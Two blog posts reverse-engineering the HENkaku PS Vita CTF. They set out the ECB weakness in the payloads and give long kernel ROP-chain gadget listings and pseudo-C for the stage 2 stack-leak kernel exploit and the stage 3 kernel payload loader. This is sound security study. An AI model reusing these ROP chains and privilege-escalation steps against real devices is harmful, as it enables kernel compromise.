HENkaku PS Vita CTF: The end?

Kept you waiting huh?

So finally we got the final straight of HENkaku CTF. If you don’t remember it, this is the CTF made months ago by the Molecule Team for everyone that is interested in learning more about PS Vita security. Before anything, make sure that you already read both my point of view from stage2 and the xyz write up about the Vita kernel exploit that made all of this possible. Let’s get started!

Stage 3: Cryptanalysis
After finish the stage 2, I started to analyze the stage 3 payloads. As I explained before these payloads are encrypted with AES-ECB and I discovered it because you can leak some information about the plaintext by observing the ciphertext. It’s one of some weakness of ECB mode (and that is one of many reasons that ECB mode is really not recommended). Exploring this weakness in both payload 1 (loader.enc) and payload 2 (payload.enc) I noticed it in payload 1:


Stage 3 Payload 1

In ECB mode if you encrypt with the same key two plaintext with few  changes, the ciphertext will only change where plaintext was changed. As the payloads 2 really changed a lot by HENkakus versions (you can notice it doing hex diff between them), I guessed that the last bytes from the payload 1 is the key used to encrypted/decrypted the payload 2! So it has different key per-version. I tried to explore this weakness and try to find a way to get the plaintext, but  I didn’t have success. Even with crazy ideas like modifying the key in the end of payload 1 and trying to craft a branch instruction that will run my code in payload2 and others craziness, I considered giving up. As far as I know, only with a known plaintext we could do something. Anyway it gave me some important informations about what I’m dealing and was useful to the next approach.

Stage 3: ROP-chain brute-force
This was the second approach that I tried. To this I needed the max possible of information about the HENkaku stage 3, with the cryptanalysis I determined that we are dealing with payload 1 with a key fixed and a payload 2 that has a key-per-version. Another goods source of information was the xyz writeup about the stage 2 exploit that explained that the leaked addresses used is from SceSysMem and after the stage2 analysis release, Team Mocule updated the HENkaku repository, what was a nice place to look for information! After sometime looking into the loader.rop.in file and krop.rop I found this:

store(&return, mybuf + 3 * 4); // sp
add([sysmem_base], 0x347); // pop {pc} to kick off the ropchain
store(&return, mybuf + 4 * 4);

Github Link

That’s nice! We have a rop-gadget to start, another good source of information was the end of krop.rop that has some information about the payload 1 (loader.enc) and payload 2(payload.enc).

So gathering all the information I had that:

  1. ROP will decrypt loader.enc
  2. if ROP will decrypt loader.enc, there is a gadget to aes calls (like init and decrypt),
  3. it needs to allocate memory and *somehow* run the loader.enc after decryption,
  4. it needs to copy the memory from stack to the allocated buffer
  5. loader.enc has a key per version in the end that decrypt the payload.enc,
  6. All gadgets are in the SceSysMem
  7. SceSysMem_base+0x347 is the pop{pc} gadget
  8. payloader.enc will patch kernel and install vitashell

Another useful hint is that the rop need to make function call. So we will have a lot of pop {reg, pc} gadgets and blx gadgets, I tried to use this to determine some gadgets (what worked with few). With it in mind I started to brute-force the ROP-chain (what is really boring).To do so, we only need to change the krop.rop. We need to determine what is used and what is not. to it, you only need to change the &return after an add, if this is not used, probably HENkaku will boot normal and probably we have a value used in a pop {reg, pc} gadget, otherwise the system will crash and reboot. So you do it again and again […].

add([sysmem_base], 0x31);     // addr 
store(&return, krop + 0x0);   // POP {R0, PC}
store(0x8106803, krop + 0x4); // any different value
add([sysmem_base], 0x1eff1);  // addr
store(&return, krop + 0x8);   // function ptr ?
store(0x38, krop + 0xc);      // 0x38 not used ?
add([sysmem_base], 0x1efe1);  // addr
store(&return, krop + 0x10);  // no idea, but used
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0x14);  // POP {PC}
add([sysmem_base], 0x39eb);   // addr
store(&return, krop + 0x18);  // no idea, but used
add([sysmem_base], 0x1b571);  // addr
store(&return, krop + 0x1c);  // no idea, but used
store(0x0, krop + 0x20);      // not used, probably REG POP
add([sysmem_base], 0x1e43);	  // addr
store(&return, krop + 0x24);  // no idea, but used
store(0x0, krop + 0x28);      // no idea, but used
add([sysmem_base], 0x1fc6d);  // addr
store(&return, krop + 0x2c);  // not used, REG POP
add([sysmem_base], 0xea73);   // addr
store(&return, krop + 0x30);  // not used, REG POP
add([sysmem_base], 0x31);	  // addr 
store(&return, krop + 0x34);  // POP {R0, PC}, not used ?
add([sysmem_base], 0x27913);  // addr
store(&return, krop + 0x38);  // not used, REG POP
add([sysmem_base], 0xa523);   // addr
store(&return, krop + 0x3c);  // no idea, but used
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0x40);  // POP {PC}
add([sysmem_base], 0xce3);    // addr
store(&return, krop + 0x44);  // not idea, but used
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0x48);  // POP {PC}
add([sysmem_base], 0x1f2b1);  // addr
store(&return, krop + 0x4c);  // not used, REG POP
add([sysmem_base], 0x67);     // addr
store(&return, krop + 0x50);  // not used, REG POP
add([sysmem_base], 0x587f);   // addr
store(&return, krop + 0x54);  // no idea, but used
add([sysmem_base], 0x19713);  // addr
store(&return, krop + 0x58);  // no idea, but used
add([sysmem_base], 0x1605);   // addr
store(&return, krop + 0x5c);  // not used, REG POP
add([sysmem_base], 0x1e1d);   // addr
store(&return, krop + 0x60);  // no idea, but used
store(0x0, krop + 0x64);      // not used, REG POP
add([sysmem_base], 0x1efe1);  // addr
store(&return, krop + 0x68);  // not used, REG POP
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0x6c);  // POP {PC}
add([sysmem_base], 0x1603);   // addr
store(&return, krop + 0x70);  // no idea, but used
add([sysmem_base], 0x1f2b1);  // addr
store(&return, krop + 0x74);  // not used, REG POP
add([sysmem_base], 0x1f17);   // addr
store(&return, krop + 0x78);  // no idea, but used
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0x7c);  // POP {PC}
add([sysmem_base], 0x31);     // addr
store(&return, krop + 0x80);  // POP {R0, PC}
add([sysmem_base], 0xb913);   // addr
store(&return, krop + 0x84);  // no idea, R0
add([sysmem_base], 0x23b61);  // addr
store(&return, krop + 0x88);  // no idea, but used
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0x8c);  // POP {PC}
add([sysmem_base], 0x39eb);   // addr
store(&return, krop + 0x90);  // no idea, but used
add([sysmem_base], 0x232eb);  // addr
store(&return, krop + 0x94);  // no idea, but used
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0x98);  // POP {PC}
add([sysmem_base], 0x1b571);  // addr
store(&return, krop + 0x9c);  // no idea, but used
add([sysmem_base], 0x23b61);  // addr
store(&return, krop + 0xa0);  // not used, REG POP
add([sysmem_base], 0x232f1);  // addr
store(&return, krop + 0xa4);  // no idea, but used
add([sysmem_base], 0x1411);   // addr
store(&return, krop + 0xa8);  // not used, REG POP
add([sysmem_base], 0xae1);    // addr
store(&return, krop + 0xac);  // no idea, but used
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0xb0);  // POP {PC}
add([sysmem_base], 0x50e9);   // addr
store(&return, krop + 0xb4);  // no idea, but used
add([sysmem_base], 0x1411);   // addr
store(&return, krop + 0xb8);  // no idea, but used
store(0x10, krop + 0xbc);     // overwrite with 0x90, useless
add([sysmem_base], 0x1f2b1);  // addr
store(&return, krop + 0xc0);  // no idea, but used
add([sysmem_base], 0x12b11);  // addr 
store(&return, krop + 0xc4);  // no idea, but used
add([sysmem_base], 0xce3);    // addr
store(&return, krop + 0xc8);  // not used, POP REG
add([sysmem_base], 0xd1);     // addr
store(&return, krop + 0xcc);  // not used, POP REG
add([sysmem_base], 0x347);    // addr
store(&return, krop + 0xd0);  // POP {PC}
add([sysmem_base], 0x1f2b1);  // addr
store(&return, krop + 0xd4);
add([sysmem_base], 0x347);
store(&return, krop + 0xd8);
add([sysmem_base], 0x39eb);     
store(&return, krop + 0xdc);
add([sysmem_base], 0x1fdc5);
store(&return, krop + 0xe0);
add([sysmem_base], 0x1d8db);
store(&return, krop + 0xe4);

add([sysmem_base], 0x19399);
store(&return, krop + 0xe8);

add([sysmem_base], 0x19399);
store(&return, krop + 0xec);

add([sysmem_base], 0x11c5f); // addr
store(&return, krop + 0xf0); // no idea but used

add([sysmem_base], 0x19399);
store(&return, krop + 0xf4);

add([sysmem_base], 0x347);
store(&return, krop + 0xf8);

add([sysmem_base], 0xb913);
store(&return, krop + 0xfc);
store(0x0, krop + 0x100);

add([sysmem_base], 0x1efe1);
store(&return, krop + 0x104);
add([sysmem_base], 0x347);
store(&return, krop + 0x108);
add([sysmem_base], 0x1861);
store(&return, krop + 0x10c);
add([sysmem_base], 0x1fc6d);
store(&return, krop + 0x110);
add([sysmem_base], 0x1f2b1);
store(&return, krop + 0x114);
add([sysmem_base], 0x347);
store(&return, krop + 0x118);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x11c);
add([sysmem_base], 0x19399);
store(&return, krop + 0x120);
add([sysmem_base], 0x347);
store(&return, krop + 0x124);
add([sysmem_base], 0x19399);
store(&return, krop + 0x128);
add([sysmem_base], 0x347);
store(&return, krop + 0x12c);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x130);
add([sysmem_base], 0x1614d);
store(&return, krop + 0x134);
add([sysmem_base], 0x233d3);
store(&return, krop + 0x138);
add([sysmem_base], 0x1f2b1);
store(&return, krop + 0x13c);
add([sysmem_base], 0x347);
store(&return, krop + 0x140);
add([sysmem_base], 0xaf);
store(&return, krop + 0x144);
add([sysmem_base], 0x1605);
store(&return, krop + 0x148);
add([sysmem_base], 0x1efe1);
store(&return, krop + 0x14c);
add([sysmem_base], 0x347);
store(&return, krop + 0x150);
add([sysmem_base], 0x50e9);
store(&return, krop + 0x154);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x158);
add([sysmem_base], 0x1347);
store(&return, krop + 0x15c);
add([sysmem_base], 0x347);
store(&return, krop + 0x160);
add([sysmem_base], 0xb9);
store(&return, krop + 0x164);
add([sysmem_base], 0x1f2b1);
store(&return, krop + 0x168);
add([sysmem_base], 0x1347);
store(&return, krop + 0x16c);
add([sysmem_base], 0x347);
store(&return, krop + 0x170);

add([sysmem_base], 0x39b);
store(&return, krop + 0x174);
store(0x0, krop + 0x178);

add([sysmem_base], 0x1cb95);
store(&return, krop + 0x17c);
add([sysmem_base], 0x1ea93);
store(&return, krop + 0x180);
add([sysmem_base], 0x1411);
store(&return, krop + 0x184);
add([sysmem_base], 0x347);
store(&return, krop + 0x188);
add([sysmem_base], 0x209d7);
store(&return, krop + 0x18c);
add([sysmem_base], 0x209d3);
store(&return, krop + 0x190);
add([sysmem_base], 0x1411);
store(&return, krop + 0x194);
add([sysmem_base], 0x347);
store(&return, krop + 0x198);
add([sysmem_base], 0x1baf5);
store(&return, krop + 0x19c);
add([sysmem_base], 0x1605);
store(&return, krop + 0x1a0);
add([sysmem_base], 0x347);
store(&return, krop + 0x1a4);
add([sysmem_base], 0x652b);
store(&return, krop + 0x1a8);
add([sysmem_base], 0x347);
store(&return, krop + 0x1ac);
add([sysmem_base], 0x1baf5);
store(&return, krop + 0x1b0);
add([sysmem_base], 0x22a49);
store(&return, krop + 0x1b4);
store(0xfffffeb0, krop + 0x1b8);
add([sysmem_base], 0x39b);
store(&return, krop + 0x1bc);
store(0x40, krop + 0x1c0);
add([sysmem_base], 0x22a49);
store(&return, krop + 0x1c4);
add([sysmem_base], 0x347);
store(&return, krop + 0x1c8);
add([sysmem_base], 0x652b);
store(&return, krop + 0x1cc);
add([sysmem_base], 0x347);
store(&return, krop + 0x1d0);
add([sysmem_base], 0x39b);
store(&return, krop + 0x1d4);
store(0x40, krop + 0x1d8);
add([sysmem_base], 0x1605);
store(&return, krop + 0x1dc);
add([sysmem_base], 0x347);
store(&return, krop + 0x1e0);
add([sysmem_base], 0x1d9eb);
store(&return, krop + 0x1e4);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x1e8);
add([sysmem_base], 0x853);
store(&return, krop + 0x1ec);
add([sysmem_base], 0x1d8db);
store(&return, krop + 0x1f0);
store(0x38, krop + 0x1f4);
add([sysmem_base], 0xab);
store(&return, krop + 0x1f8);
add([sysmem_base], 0xd1);
store(&return, krop + 0x1fc);
add([sysmem_base], 0x2328b);
store(&return, krop + 0x200);
add([sysmem_base], 0x22fcd);
store(&return, krop + 0x204);
add([sysmem_base], 0xd1);
store(&return, krop + 0x208);
add([sysmem_base], 0x1eff1);
store(&return, krop + 0x20c);
add([sysmem_base], 0x2a117);
store(&return, krop + 0x210);
add([sysmem_base], 0x347);
store(&return, krop + 0x214);
add([sysmem_base], 0x1605);
store(&return, krop + 0x218);
add([sysmem_base], 0x19399);
store(&return, krop + 0x21c);
add([sysmem_base], 0x347);
store(&return, krop + 0x220);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x224);

add([sysmem_base], 0x1bf1f);
store(&return, krop + 0x228);
store(0xfffffeb0, krop + 0x22c);

add([sysmem_base], 0x39b);
store(&return, krop + 0x230);
store(0x40, krop + 0x234);

add([sysmem_base], 0x22a49);
store(&return, krop + 0x238);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x23c);
add([sysmem_base], 0x3d73);
store(&return, krop + 0x240);
store(0x0, krop + 0x244);
add([sysmem_base], 0x21fd);
store(&return, krop + 0x248);
add([sysmem_base], 0x347);
store(&return, krop + 0x24c);
add([sysmem_base], 0x50e9);
store(&return, krop + 0x250);
add([sysmem_base], 0xae1);
store(&return, krop + 0x254);
add([sysmem_base], 0x347);
store(&return, krop + 0x258);
add([sysmem_base], 0x2a117);
store(&return, krop + 0x25c);
add([sysmem_base], 0x347);
store(&return, krop + 0x260);
add([sysmem_base], 0x1f2b1);
store(&return, krop + 0x264);
add([sysmem_base], 0x67);
store(&return, krop + 0x268);
add([sysmem_base], 0x39eb);
store(&return, krop + 0x26c);
add([sysmem_base], 0x1bf47);
store(&return, krop + 0x270);
add([sysmem_base], 0x347);
store(&return, krop + 0x274);
add([sysmem_base], 0x50e9);
store(&return, krop + 0x278);
add([sysmem_base], 0xaf33);      // addr
store(&return, krop + 0x27c);    // used
add([sysmem_base], 0x347);       // addr
store(&return, krop + 0x280);    // pop {PC}

add([sysmem_base], 0x1d9eb);     // addr
store(&return, krop + 0x284);    // not used
store(0x0, krop + 0x288);        // payload 2 addr

add([sysmem_base], 0x1fc6d);
store(&return, krop + 0x28c);

add([sysmem_base], 0xea73);
store(&return, krop + 0x290);

add([sysmem_base], 0x39b);       // addr
store(&return, krop + 0x294);    // not used

add([sysmem_base], 0x853);       // addr
store(&return, krop + 0x298);    // used, probably POP{REG1, REG2, PC}
store(0xffffffff, krop + 0x29c); // not used
store(0x8106803, krop + 0x2a0);  // used

add([sysmem_base], 0x233d3);
store(&return, krop + 0x2a4);

add([sysmem_base], 0x347);
store(&return, krop + 0x2a8);

add([sysmem_base], 0x433);
store(&return, krop + 0x2ac);

add([sysmem_base], 0x233d3);
store(&return, krop + 0x2b0);

add([sysmem_base], 0x150a3);
store(&return, krop + 0x2b4);
store(0x0, krop + 0x2b8);

add([sysmem_base], 0xa74d);
store(&return, krop + 0x2bc);

add([sysmem_base], 0x0);       
store(&return, krop + 0x2c0);  

add([sysmem_base], 0x853);	   // addr
store(&return, krop + 0x2c4);  // used

add([sysmem_base], 0x1bf1f);   // addr
store(&return, krop + 0x2c8);  // used
store(0x0, krop + 0x2cc);      // used

add([sysmem_base], 0x1605);    // addr
store(&return, krop + 0x2d0);  // used

add([sysmem_base], 0x347);     // addr
store(&return, krop + 0x2d4);  // POP {PC}

add([sysmem_base], 0x50e9);    // addr
store(&return, krop + 0x2d8);  // used

add([sysmem_base], 0x1605);    // addr
store(&return, krop + 0x2dc);  // used

add([sysmem_base], 0x22fcd);   // addr
store(&return, krop + 0x2e0);  // not used

add([sysmem_base], 0x39eb);    // addr
store(&return, krop + 0x2e4);  // used

add([sysmem_base], 0x853);     // addr
store(&return, krop + 0x2e8);  // not used

add([sysmem_base], 0x11c5f);   // addr
store(&return, krop + 0x2ec);  // function pointer ?

// loader.enc (payload1 used to loader the big payloader)
store([kx_loader_addr], krop + 0x178); // used
// no idea
store(0x90, krop + 0xbc); // not used ? 
// no idea
store(0x240, krop + 0x234); // used
// no idea
store(0x200, krop + 0x2cc); // used
// payload 2
store(second_payload, krop + 0x288); // used

After nearly two weeks and countless frustrations in the process I gave up on this approach. But I was forgetting something very useful that HENkaku let us do.

Stage 3: Kernel exploit and loader.enc analysis
Since HENkaku was released it give us a way to run homebrews and it really was very useful to fuzzy the system. I was reading this while I was doing the rop brute-force and decided to give a try and I found a vuln that when exploited gave me a way to dump the kernel, I won’t explain details about it, but when Sony fix, I promise I will make another writeup explaining it.

Once you have the SceSysmem module dumped, it’s not very difficulty to reverse the ROP-chain, here is my pseudo code from the ROP-chain:

void rop_stage3() {
// alloc a memory block
unsigned int memid = sceKernelAllocMemblock("SceMagic", 0x1020D006, 0xA0000, NULL);

void *membase = NULL;
// get mem ptr
sceKernelGetMemblockBase(memid, &membase);

// initialize the AES
// ctx ?
// memblock size
// key size ?
// key
// that is the key to decrypt loader.enc
init_aes(ctx, 0x80, size, key);

// here start the undocumented feature, aka rop-loop-chain
// it will decrypt each block of loader
// and store into the membase
// the rop will self modify on the fly and is a bit complex
// so probably my pseudo-C has mistakes ( :
while (...) {
aes_decrypt(ctx, loader_addr, membase);
loader_addr += 0x10;
membase += 0x10;

// get memory base uid ?
unsigned int uid = getuid(membase, 0x0);

// remap memory to R-X ? or RWX ?
remap_mem(uid, 0x1020D005);

// flush data and instruction cache
flush_cache(membase, 0x200);

// function ptr to membase that will run our payload
(*membase)(base_addr, payload2_addr);

There is something very interesting in this ROP, it has a loop that is used to decrypt each block of the loader.enc, what is amazing in my opinion. Anyway the ROP is very direct, it basically allocate memory, init the AES and finally get inside the loop that will decrypt each block, the ROP will self-modify while it’s doing the decrypt. When the loop end, the system will remap the memory to R-X, flush cache memory and finally jump to the loader.enc code with base_addr and the address of payloadr.enc in the user-land space. If you’re curious to know about the ROP-chain, you can find it here. After it the system will run the loader.enc, here is the loader.enc pseudo code:

* load payload 2
* decrypt with AES-128-ECB
* run in kernel mode
void loader(unsigned int base_addr, unsigned int payload2_addr) {
/* alloc mem block */
unsigned int (*sceKernelAllocMemBlock)(char *, int, int, void*) = (base_addr+0xA521);
/* get memblock base */
unsigned int (*sceKernelGetMemBlockBase)(unsigned int, void**) = (base_addr+0x1F00);
/* aes decrypt 128 ecb */
unsigned int (*aes_decrypt)(void *, void*, void*) = (base_addr+0x1BAF5);
/* aes init */
unsigned int (*aes_init)(void*, unsigned int, unsigned int, void*) = (base_addr+0x1D8D9);
/* memcpy_u2k */
unsigned int (*memcpy_u2k)(unsigned int*, unsigned int*, int) = (base_addr+0x825D);
/* memcpy */
unsigned int (*epic_memcpy)(unsigned int*, unsigned int*, int) = (base_addr+0x23095);

/* alloc RW- memblock */
unsigned int memid_1 = sceKernelAllocMemBlock("", 0x1020D006, 0xB000, NULL);
/* alloc R-X memblock */
unsigned int memid_2 = sceKernelAllocMemBlock("", 0x1020D005, 0xB000, NULL);

/* ptr */
void *membase_1 = NULL;
void *membase_2 = NULL;

/* get base addr to both memory allocated */
sceKernelGetMemBlockBase(memid_1, &membase_1);
sceKernelGetMemBlockBase(memid_2, &membase_2);

/* copy payload from the user address space to kernel */
memcpy_u2k(membase_1, payload2_addr, 0xA000);

/* setup aes using the aes key in .data segment */
init_aes(membase_1 + 0xA000, 0x80, 0x80, aes_key);

/* decrypt payload */
for (unsigned int i = 0; i < 0xA000; i += 16) {
aes_decrypt(membase_1+0xA000, membase_1+i, membase_1+i);

/* disable DACR, do a memcpy, flush cache and enable DACR again */
epic_memcpy(membase_2, membase_1, 0xB000);

/* function pointer to payload */

There are some interesting details here, now it will allocate memory with R-X permission and RW- permission, use a memcpy (using special instructions to read from current pid userland virtual memory space) that will copy the payload.enc to the allocated memory in kernel space, initialize the aes but now using AES-128-ECB, run a loop until decrypt all memory and finally use another memcpy that will copy from RW- to R-X, it will disable some domain from DACR, copy the memory, flush cache and enable again the domains from DACR and finally jump to the payload.enc. Inside the payload.enc we have the code used to install the shell and patch the kernel.

So is this the end?


Inspired in http://bits-please.blogspot.com.br/2016/01/android-privilege-escalation-to.html

No, it’s far from the end, there is still a long way to hack the vita system. We are now in the Vita Kernel and we need to explore and study the max possible here, but there are the Trust Zone and Security Core, this saga is far from finished and I hope be back here soon to talk more about Vita.

Anyway, I really enjoyed with the CTF, I want to thank again the Molecule Team (Davee, Proxima, xyz, and YifanLu) for making this amazing challenge, I think not only me but other members from the community learned and enjoyed with it. That’s all folks!



Posted in ps vita | 1 Comment

HENkaku PS Vita CTF: Reverse Engineering

It has been nearly to a month since the HENkaku was released and Yifan Lu made a CTF challenge for everyone that is interested to learn more about PS Vita security. It’s a very interesting if you want to join and help with vita hacking to try it, anyway, let’s get started.

HENkaku works with three stages, where the first stage is to get ROP code under user-land, the second stage is to exploit the kernel and finally stage3 that is ROP code and native code execution.

Stage1: WebKit Exploit

I won’t explain details what the webkit exploit is because xyz already did an amazing writeup about the exploit and other guys already did some writeup about it. I really recommend you read it here that is very important to understand the next stages. I did it myself before, you can read it here (bad comments). The only problem here is that the code is a bit obfuscated(variables with short names, a total mess), so you will have to spend some hours to read the code and understand what it does. What the first ROP code will do is get the base address of each module (SceWebKit, SceLibKernel, SceLibC, SceLibHttp, SceNet and SceAppMgr) and stack memory and use SceHttp module to download the stage 2(the ‘x’ file) from the henkaku server. It’s necessary to defeat the ASLR and have a generic stage2 exploit, so each time you have the base address of each module, you send them to the server and server plus the addresses to each gadget and send back a stage2 with right addresses. Once you know how it works and having the modules dumped(you can dump modules using this tool), you can download the stage 2 ‘x’ file direct from server, here an example that I used to stage2 analysis.

webkit_base = 0x83a00780
stack_base = 50000000
libkernel_base = 0xe0004d40
libc_base = 0x83980a10
libhttp_base = 0xe0604c80
net_base = 0xe05236d0
driveruser_base = 0x20000000


Stage2: Kernel exploits

The stage2 is a huge rop-chain and to solve this problem I written a python script using capstone to help me to deal with it, you can find it here (the code is a mess). The output is a list of all gadged used in HENkaku stage2, an example. So I decided to write some pseudo code based on the rop-chain, that is one of the best ways to understand what the ROP code is doing.

* stack_base = 0x0x50000000
* lib_c = SceLibC
* lib_kernel = sceLibKernel
void _rop_chain_() {

// copy sdstor0 to a region in the stack
// copy xmc-lp.. to a region in the stack
lib_c_strcpy(stack_sd_E5B4, "sdstor0");
lib_c_strcpy(stack_xmc_E5CC, "xmc-lp-ign-userext");

// clear buff, fill data with sceDevIoCtl
lib_c_memset(stack_buff_CE34, 0x400, 0x0)

// copy molecule0: to stack region
lib_c_strcpy(stack_mole_E5E4, "molecule0:")

* In this point, the sceIoDevCtl is used to leak memory from stack
* the leaked memory will be in the stack_buff_CE34 until 0xCE34+0x3FF
* it won't work with values big than 0x3FF
// sceIoOpen
lib_kernel_sceIoOpen("molecule0:", 0x0, 0x0);
// sceIoDevctl
lib_kernel_sceIoDevctl("sdstor0:", 0x5, "xmc-lp-ign-userext", 0x14, stack_buff_CE34, 0x3FF);

// This is the kernel module address leaked from stack
// it's used to defeat kernel ASLR
// an example: 0x00489E15
*(unsigned int *)(stack_leaked_addr_base_E364) = *(unsigned int *)(stack_leaked_output_D208) + 0xFFFFA8B9;

// stack_leak_addr_base_E364 = 0x004846CE
// create a thread, note that the entry-point is an address in SceWebKit region
thread_id_stack_ED94 = lib_kernel_createThread("pln", 0x83A05C48, 0x10000100, 0x00002000)

// store threadinfo size
stack_threadinfo_E52C = 0x7C

// get thread information
lib_kernel_threadinfo(thread_id_stack_ED94, stack_threadinfo_E52C, NULL);

// get thread stack address and plus 0x1000
*(unsigned int *)(stack_thread_new_sp_EDA0) = *(unsigned int *)(stack_thread_sp_E560) + 0x1000;
*(unsigned int *)(stack_leaked_output_E854) = 0x14; // inLen sceIoCtl
*(unsigned int *)(stack_leaked_output_len_E858) = stack_buff_CE34;
*(unsigned int *)(stack_var_E85C) = 0x3FF;
*(unsigned int *)(stack_leaked_input_len_E86C) = 0x400;
*(unsigned int *)(stack_var_E870) = 0x0;
*(unsigned int *)(stack_var_E874) = 0x0;

// thread 1 "pln" rop-chain
*(unsigned int *)(stack_var_E608) = 0x842DE135; // POP {R0-R5,PC}
*(unsigned int *)(stack_var_E60C) = stack_mole_E5E4; // R0
*(unsigned int *)(stack_var_E610) = 0x0; // R1
*(unsigned int *)(stack_var_E614) = 0x0; // R2
*(unsigned int *)(stack_var_E618) = 0x0; // R3
*(unsigned int *)(stack_var_E61C) = 0xE000F1ED; // R4
*(unsigned int *)(stack_var_E620) = 0x0; // R5
*(unsigned int *)(stack_var_E624) = 0x83AFD53B; // BX R4
*(unsigned int *)(stack_var_E628) = 0x0; // POP {R4, PC} R4 = 0
// lib_kernel_sceIoOpen

*(unsigned int *)(stack_var_E62C) = 0x842DE135; // POP {R0-R5, PC}
*(unsigned int *)(stack_var_E630) = stack_sd_E5B4; // sdstor0 R0
*(unsigned int *)(stack_var_E634) = 0x5; // R1
*(unsigned int *)(stack_var_E638) = stack_xmc_E5CC; // R2
*(unsigned int *)(stack_var_E63C) = stack_leaked_output_E854; // R3
*(unsigned int *)(stack_var_E640) = 0xE000B64C; // R4
*(unsigned int *)(stack_var_E644) = 0x0; // R5
*(unsigned int *)(stack_var_E648) = 0x83AFD53B; // BX R4
*(unsigned int *)(stack_var_E64C) = 0x0; // POP R4
// lib_kernel_sceIoDevctl

*(unsigned int *)(stack_var_E650) = 0x842DE135; // POP {R0-R5, PC}
*(unsigned int *)(stack_var_E654) = 0x000F4240; // R0
*(unsigned int *)(stack_var_E658) = 0x0; // R1
*(unsigned int *)(stack_var_E65C) = 0x0; // R2
*(unsigned int *)(stack_var_E660) = 0x0; // R3
*(unsigned int *)(stack_var_E664) = 0xE061D1C4; // R4 - thread delay
*(unsigned int *)(stack_var_E668) = 0x0; // R5
*(unsigned int *)(stack_var_E66C) = 0x83AFD53B; // BLX R4
*(unsigned int *)(stack_var_E670) = 0x0; // POP R4
// thread delay 0xF4240

*(unsigned int *)(stack_var_E674) = 0x842DE135; // POP {R0-R5, PC}
*(unsigned int *)(stack_var_E678) = stack_sd_E5B4; // R0
*(unsigned int *)(stack_var_E67C) = 0x5; // R1
*(unsigned int *)(stack_var_E680) = stack_leaked_input_D344; // R2
*(unsigned int *)(stack_var_E684) = stack_sd_E5B4; // R3
*(unsigned int *)(stack_var_E688) = 0xE000B64C; // R4 - lib_kernel_sceIoDevctl
*(unsigned int *)(stack_var_E68C) = 0x0; // R5
*(unsigned int *)(stack_var_E690) = 0x83AFD53B; // BLX R4
*(unsigned int *)(stack_var_E694) = 0x0; // POP R4
*(unsigned int *)(stack_var_E698) = 0x83A00C99; // while (true) {} B loc_83A00C98
// lib_kernel_sceIoDevctl

// stack_var_E608 = new rop-chain
// stack_thread_new_sp_EDA0 = new thread sp
libc_memcpy(stack_thread_new_sp_EDA0, stack_var_E608, 0x100);

// store the thread sp in E730
*(unsigned int *)(stack_var_E730) = *(unsigned int*)(stack_thread_new_sp_EDA0);
*(unsigned int *)(stack_var_E734) = 0x83AC0C0B;

// start "pln" thread that will run our rop_chain 1
lib_kernel_startThread(thread_id_stack_ED94, 0x1C, stack_var_E71C)

// put our thread to sleep

// ------------------------------------
* Thread 1 - pln ROP Chain
* Here more interesting stuff
* The first part is used to leak again another peace of stack and stored in E854
* after the delay_thread, it will leak more stack memory, but using the INPUT
* and size 0x400

lib_kernel_sceIoDevctl("sdstor0:", 0x5, "xmc-lp-ign-userext", stack_leaked_output_E854, stack_leaked_output_len_E858, stack_var_E85C)
lib_kernel_sceIoDevctl("sdstor0:", 0x5, stack_leaked_input_D344, stack_leaked_input_len_E86C, 0x0, 0x0)
while (1) {}
// ------------------------------------

// get value from the buffer that sceIoDevCtl used
*(unsigned int *)(stack_var_E358) = *(unsigned int *)(stack_var_D1F8) + 0xFFFFF544;

// probably the first gadget
*(unsigned int *)(stack_leaked_input_D344) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1E460;

*(unsigned int *)(stack_var_EDB8) = *(unsigned int *)(stack_var_E358) + 0x6F8 + 0x300;

// kernel ROP-Chain, base = 0x00489E15 - FW 1.50
*(unsigned int *)(stack_var_E98C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x31; // 0x489E46
*(unsigned int *)(stack_var_E990) = 0x08106803; // address ?
*(unsigned int *)(stack_var_E994) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1EFF1; // 0x4A8E06
*(unsigned int *)(stack_var_E998) = 0x38; // const ?
*(unsigned int *)(stack_var_E99C) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1EFE1; // 0x4A8DF6
*(unsigned int *)(stack_var_E9A0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347; // 0x48A15C
*(unsigned int *)(stack_var_E9A4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x39EB;
*(unsigned int *)(stack_var_E9A8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1B571;
*(unsigned int *)(stack_var_E9AC) = 0x0; // ?
*(unsigned int *)(stack_var_E9B0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1E43;
*(unsigned int *)(stack_var_E9B4) = 0x0; // ?
*(unsigned int *)(stack_var_E9B8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1FC6D;
*(unsigned int *)(stack_var_E9BC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xEA73;
*(unsigned int *)(stack_var_E9C0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x31;
*(unsigned int *)(stack_var_E9C4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x27913;
*(unsigned int *)(stack_var_E0C8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xA523;
*(unsigned int *)(stack_var_E0CC) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_E0D0) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0xCE3;
*(unsigned int *)(stack_var_E0D4) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x347;
*(unsigned int *)(stack_var_E0D8) = *(unsigned int *)(stack_leaked_addr_base_E364) + 0x1F2B1;
